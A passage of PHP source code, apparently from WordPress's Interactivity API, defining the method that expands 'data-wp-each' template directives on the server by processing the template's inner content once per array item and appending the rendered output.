6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. * @param array $tag_stack The reference to the tag stack. */ private function data_wp_each_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$tag_stack ) { if ( 'enter' === $mode && 'TEMPLATE' === $p->get_tag() ) { $attribute_name = $p->get_attribute_names_with_prefix( 'data-wp-each' )[0]; $extracted_suffix = $this->extract_prefix_and_suffix( $attribute_name ); $item_name = isset( $extracted_suffix[1] ) ? $this->kebab_to_camel_case( $extracted_suffix[1] ) : 'item'; $attribute_value = $p->get_attribute( $attribute_name ); $result = $this->evaluate( $attribute_value ); // Gets the content between the template tags and leaves the cursor in the closer tag. $inner_content = $p->get_content_between_balanced_template_tags(); // Checks if there is a manual server-side directive processing. $template_end = 'data-wp-each: template end'; $p->set_bookmark( $template_end ); $p->next_tag(); $manual_sdp = $p->get_attribute( 'data-wp-each-child' ); $p->seek( $template_end ); // Rewinds to the template closer tag. $p->release_bookmark( $template_end ); /* * It doesn't process in these situations: * - Manual server-side directive processing. * - Empty or non-array values. * - Associative arrays because those are deserialized as objects in JS. * - Templates that contain top-level texts because those texts can't be * identified and removed in the client. */ if ( $manual_sdp || empty( $result ) || ! is_array( $result ) || ! array_is_list( $result ) || ! str_starts_with( trim( $inner_content ), '<' ) || ! str_ends_with( trim( $inner_content ), '>' ) ) { array_pop( $tag_stack ); return; } // Extracts the namespace from the directive attribute value. $namespace_value = end( $this->namespace_stack ); list( $namespace_value ) = is_string( $attribute_value ) && ! empty( $attribute_value ) ? $this->extract_directive_value( $attribute_value, $namespace_value ) : array( $namespace_value, null ); // Processes the inner content for each item of the array. $processed_content = ''; foreach ( $result as $item ) { // Creates a new context that includes the current item of the array. $this->context_stack[] = array_replace_recursive( end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(), array( $namespace_value => array( $item_name => $item ) ) ); // Processes the inner content with the new context. $processed_item = $this->_process_directives( $inner_content ); if ( null === $processed_item ) { // If the HTML is unbalanced, stop processing it. array_pop( $this->context_stack ); return; } // Adds the `data-wp-each-child` to each top-level tag. $i = new WP_Interactivity_API_Directives_Processor( $processed_item ); while ( $i->next_tag() ) { $i->set_attribute( 'data-wp-each-child', true ); $i->next_balanced_tag_closer_tag(); } $processed_content .= $i->get_updated_html(); // Removes the current context from the stack. array_pop( $this->context_stack ); } // Appends the processed content after the tag closer of the template. $p->append_content_after_template_tag_closer( $processed_content ); // Pops the last tag because it skipped the closing tag of the template tag. array_pop( $tag_stack ); } } }